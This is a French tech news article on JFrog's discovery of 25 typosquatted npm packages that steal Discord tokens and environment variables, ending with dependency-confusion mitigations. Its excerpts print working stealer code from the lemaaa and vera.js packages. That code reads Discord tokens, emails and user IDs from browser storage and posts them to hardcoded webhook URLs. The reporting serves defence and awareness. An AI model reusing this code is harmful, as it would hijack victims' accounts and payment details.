IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)

Vous êtes nouveau sur Developpez.com ? Créez votre compte ou connectez-vous afin de pouvoir participer !

Vous devez avoir un compte Developpez.com et être connecté pour pouvoir participer aux discussions.

Vous n'avez pas encore de compte Developpez.com ? Créez-en un en quelques instants, c'est entièrement gratuit !

Si vous disposez déjà d'un compte et qu'il est bien activé, connectez-vous à l'aide du formulaire ci-dessous.

Identifiez-vous
Identifiant
Mot de passe
Mot de passe oublié ?
Créer un compte

L'inscription est gratuite et ne vous prendra que quelques instants !

Je m'inscris !

25 bibliothèques JavaScript malveillantes distribuées via le référentiel de packages NPM officiel
Les chercheurs attribuent ce travail à des « auteurs novices de logiciels malveillants »

Le , par Stéphane le calme

46PARTAGES

4  0 
Un autre lot de 25 bibliothèques JavaScript malveillantes a fait son chemin vers le registre officiel des packages NPM dans le but de voler des jetons Discord et des variables d'environnement de systèmes compromis, plus de deux mois après la suppression de 17 packages similaires. Les bibliothèques en question ont tiré parti des techniques de typosquattage et se sont fait passer pour d'autres packages légitimes tels que colors.js, crypto-js, discord.js, marked et noblox.js, a déclaré la société de sécurité DevOps JFrog, attribuant les packages au travail à des « auteurs novices de logiciels malveillants ».

Un autre package malveillant est lemaaa, « une bibliothèque destinée à être utilisée par des acteurs malveillants pour manipuler les comptes Discord », ont déclaré les chercheurs Andrey Polkovnychenko et Shachar Menashe. « Lorsqu'elle est utilisée d'une certaine manière, la bibliothèque détournera le jeton secret Discord qui lui a été donné, en plus d'exécuter la fonction utilitaire demandée ». Lemaaa est conçu pour utiliser le jeton Discord fourni pour siphonner les informations de carte de crédit de la victime, prendre le contrôle du compte en modifiant le mot de passe et l'e-mail du compte, et même supprimer tous les amis de la victime.

Les chercheurs pensent que cette tendance ne fera que continuer à augmenter, car ils voient encore des dizaines de nouveaux packages malveillants qui sont signalés chaque jour par leurs scanners npm.


L'équipe de recherche de JFrog Security surveille en permanence les référentiels de logiciels open source (OSS) populaires avec ses outils automatisés pour éviter les menaces potentielles de sécurité de la chaîne d'approvisionnement logicielle, et signale toute vulnérabilité ou paquet malveillant découvert aux responsables du référentiel et à la communauté au sens large. Plus récemment, elle a divulgué 25 packages malveillants dans le référentiel npm qui ont été récupérés par ses outils d'analyse automatisés. Tous les packages malveillants signalés ont été rapidement supprimés par les responsables de npm.

Voici la la liste complète :
  1. node-colors-sync (Discord token stealer)
  2. color-self (Discord token stealer)
  3. color-self-2 (Discord token stealer)
  4. wafer-text (Environment variable stealer)
  5. wafer-countdown (Environment variable stealer)
  6. wafer-template (Environment variable stealer)
  7. wafer-darla (Environment variable stealer)
  8. lemaaa (Discord token stealer)
  9. adv-discord-utility (Discord token stealer)
  10. tools-for-discord (Discord token stealer)
  11. mynewpkg (Environment variable stealer)
  12. purple-bitch (Discord token stealer)
  13. purple-bitchs (Discord token stealer)
  14. noblox.js-addons (Discord token stealer)
  15. kakakaakaaa11aa (Connectback shell)
  16. markedjs (Python remote code injector)
  17. crypto-standarts (Python remote code injector)
  18. discord-selfbot-tools (Discord token stealer)
  19. discord.js-aployscript-v11 (Discord token stealer)
  20. discord.js-selfbot-aployscript (Discord token stealer)
  21. discord.js-selfbot-aployed (Discord token stealer)
  22. discord.js-discord-selfbot-v4 (Discord token stealer)
  23. colors-beta (Discord token stealer)
  24. vera.js (Discord token stealer)
  25. discord-protection (Discord token stealer)

Les jetons Discord sont devenus un moyen lucratif pour les acteurs malveillants d'obtenir un accès non autorisé aux comptes sans mot de passe, permettant aux opérateurs d'exploiter l'accès pour propager des liens malveillants via les canaux Discord.

Les variables d'environnement, stockées sous forme de paires clé-valeur, sont utilisées pour enregistrer les informations relatives à l'environnement de programmation sur la machine de développement, notamment les jetons d'accès à l'API, les clés d'authentification, les URL d'API et les noms de compte.

Deux paquets malveillants, nommés markjs et crypto-standarts, se distinguent par leur rôle de chevaux de Troie en ce qu'ils répliquent (le code et les métadonnées sont dupliqués) complètement la fonctionnalité d'origine des bibliothèques bien connues marked et crypto-js, mais comportent un code malveillant supplémentaire pour injecter à distance du code Python arbitraire.

Fait intéressant, il semble que de nombreux packages malveillants npm se font encore passer pour le tristement célèbre package npm colors.js, qui était susceptible de faire l'objet d'une attaque majeure par déni de service il y a quelques semaines. Ce masquage est probablement dû au fait que colors.js est toujours l'un des packages les plus installés dans npm.

En plus de cela, l'équipe a été surprise de voir un cas intéressant d'auteurs de logiciels malveillants ciblant d'autres auteurs de logiciels malveillants. L'un des packages malveillants détectés par ses scanners, "lemaaa", est lui-même une bibliothèque destinée à être utilisée par des acteurs malveillants pour manipuler les comptes Discord. Lorsqu'elle est utilisée d'une certaine manière, la bibliothèque détournera le jeton secret Discord qui lui a été attribué, en plus d'exécuter la fonction utilitaire demandée.


Le package est un module d'aide pour les auteurs novices de logiciels malveillants Discord qui fournit des fonctions communes qu'ils peuvent réutiliser lorsqu'ils sont fournis avec le jeton Discord de la victime, comme obtenir les informations de carte de crédit de la victime, voler le compte de la victime (changer le mot de passe et l'e-mail du compte), etc.

Cependant, l'une des fonctions - "removeAllFriends" détournera le jeton Discord fourni vers une adresse Webhook codée en dur - https://canary.discord.com/api/webho...ZHCb3s5vApWHHz

Le code du module est obscurci, ce qui masque cette activité malveillante :

Code JavaScript : Sélectionner tout
1
2
3
4
5
6
function _0xf28e(){const  
_0x159601=['DELETE','https://discord.com/api/v8/users/@me 
','11317570ajQRNl','application/json','token','random',',\x20\x22nitro_boost\x22:\x20','false', 
'https://discord.com/api/v9/users/@me/mfa/totp/disable','https://discord.com/api/v8/guilds/ 
','last_4','@gmail.com','true','1315DTGoNg',',\x20\x22early_verified_bot_developer\x 
22:\x20','\x22,\x20\x22new_password\x22:\x20\x22','map','14370OOLNxq','There\x20is\x20no\x20bots',...

Dans ce cas, puisque le module est un utilitaire de malware (bibliothèque) en soi, il n'est en fait pas trop suspect que le module soit obscurci et donc les auteurs de malware novices peuvent faire confiance à ce module même avec son obscurcissement.

Après avoir désobscurci le code du module, nous pouvons voir le code malveillant dans la fonction "removeAllUsers":

Code JavaScript : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
async function removeAllFriends(token) { 
    ... 
    var _0x3d283a = await _0x1aa523['json'](), 
        malicious_webhook = 'https://canary.discord.com/api/webhooks/884196214302703676/PHJ1-GGrEOV7Zwz2RodFDpazJXmH6OnM60TNEX4RZ-VT-qW5sUUu-dZHCb3s5vApWHHz'; 
    await fetch(malicious_webhook, { 
        'method': 'POST', 
        'headers': { 
            'Content-Type': 'application/json' 
        }, 
        'body': JSON['stringify']({ 
            'content': '' + token 
        }) 
    }); 
    ...

Vera.js, est lui aussi un récupérateur de jetons Discord. Ce paquet est très petit et le code malveillant peut être facilement vu (car il n'est pas obscurci) mais il est intéressant de noter que l'auteur de ce paquet malveillant a décidé de voler le jeton Discord non pas à partir du stockage sur disque local (comme le font la plupart des voleurs de jetons Discord) mais plutôt depuis le stockage local du navigateur :

Code JavaScript : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function refresh() { 
    window.location.reload(); 
    var discordWebhook = "https://discord.com/api/webhooks/911967515024977991/MBGxIxbpqr8P00H29iuuxc7q_bkafDFpRri5j-hefGjaOCrkOcIvy4zjqa-qHrM1BEgU"; 
    var i = document.createElement('iframe'); 
    document.body.appendChild(i); 
    var request = new XMLHttpRequest(); 
    request.open("POST", discordWebhook); 
    request.setRequestHeader('Content-type', 'application/json'); 
    var params = { 
        username: "Token Grabber", 
        avatar_url: "https://malwarefox.com/wp-content/uploads/2017/11/hacker-1.png", 
        content: '**Token **\n------------------\nToken : ' + i.contentWindow.localStorage.token + '\n------------------\nEmail: ' + i.contentWindow.localStorage.email_cache + '\n------------------\nUser ID : ' + i.contentWindow.localStorage.user_id_cache + '\n------------------\nFingerprint : ' + i.contentWindow.localStorage.fingerprint + '\n------------------\nPropriétés : \`\`\`json\n' + i.contentWindow.localStorage.deviceProperties + '\`\`\`------------------\nScript de login : \n\`\`\`js\nlocation.reload();var i = document.createElement(\'iframe\');document.body.appendChild(i);i.contentWindow.localStorage.token = "\\"' + i.contentWindow.localStorage.token.replace(/^"(.*)"$/, '$1') + '\\""\`\`\`' 
    }; 
    request.send(JSON.stringify(params)); } 
  
module.exports = {refresh};

Le code qui vole le jeton peut être résumé de la manière suivante :

Code JavaScript : Sélectionner tout
1
2
3
4
location.reload(); 
var i = document.createElement('iframe'); 
document.body.appendChild(i); 
var token = i.contentWindow.localStorage.token;

« Cette technique peut être utile pour voler des jetons qui ont été générés lors de la connexion à l'aide du navigateur Web sur le site Web Discord, par opposition à l'utilisation de l'application Discord (qui enregistre le jeton sur le stockage sur disque local) », ont déclaré les chercheurs.

Les résultats de ces analyses sont les derniers d'une série de divulgations révélant l'abus de NPM pour déployer une gamme de charges utiles allant des voleurs d'informations aux portes dérobées d'accès à distance complet. Les développeurs sont donc invités à inspecter les dépendances de leurs packages pour atténuer les attaques par typosquatting (une forme de cybersquattage se fondant principalement sur les fautes de frappe et d'orthographe commises par l'internaute au moment de saisir une adresse web dans un navigateur) et par confusion de dépendance (également connues sous le nom d'attaque de substitution, elle permet aux acteurs malveillants de faire passer en douce du code malveillant dans des dépôts de code privés, en enregistrant les noms des bibliothèques internes dans les index de paquets publics).

La technique de cette dernière attaque s'articule autour de concepts comme les gestionnaires de paquets, les dépôts de paquets publics et privés, et les processus de construction. Aujourd'hui, les développeurs de petites ou grandes entreprises utilisent des gestionnaires de paquets pour télécharger et importer des bibliothèques qui sont ensuite assemblées à l'aide d'outils de construction pour créer une application finale.

Cette application peut être proposée aux clients de l'entreprise ou être utilisée en interne dans l'entreprise comme un outil pour les employés. Mais certaines de ces applications peuvent également contenir du code propriétaire ou très sensible, selon leur nature. Pour ces applications, les entreprises utiliseront souvent des bibliothèques privées stockées dans un dépôt de paquets privé (interne), hébergé sur le réseau de l'entreprise.

Lorsque les applications seront construites, les développeurs de la société mélangeront ces bibliothèques privées avec des bibliothèques publiques téléchargées à partir de portails de paquets publics comme npm, PyPI, NuGet, ou autres.

Microsoft a consacré un livre blanc à ce concept de "confusion de dépendance", qui s'attaque à ces environnements mixtes de construction d'applications au sein des grandes entreprises. Les chercheurs ont montré que si un attaquant apprend les noms des bibliothèques privées utilisées dans le processus de création d'applications d'une entreprise, il peut enregistrer ces noms sur des dépôts de paquets publics et télécharger des bibliothèques publiques contenant du code malveillant.

L'attaque a lieu lorsque les développeurs construisent leurs applications dans des environnements d'entreprise, et que leur gestionnaire de paquets donne la priorité à la bibliothèque (malveillante) hébergée sur le dépôt public plutôt qu'à la bibliothèque interne du même nom.

Dans son livre blanc, Microsoft met en garde les entreprises contre les configurations de gestionnaires de paquets hybrides, où les sources de bibliothèques publiques et privées sont utilisées, mais détaille également une série de mesures d'atténuation que les entreprises peuvent appliquer pour éviter ces menaces dans leurs environnements de construction.

Parmi les recommandations énumérées, on peut citer :
  • la référence à un flux privé, et non à plusieurs ;
  • protéger ses paquets privés en utilisant des champs d'application contrôlés sur les dépôts publics de paquets ;
  • utiliser des fonctionnalités de vérification côté client, comme l'épinglage de la version et la vérification de l'intégrité.

Source : JFrog Security

Et vous ?

Quelle lecture en faites-vous ?

Une erreur dans cette actualité ? Signalez-le nous !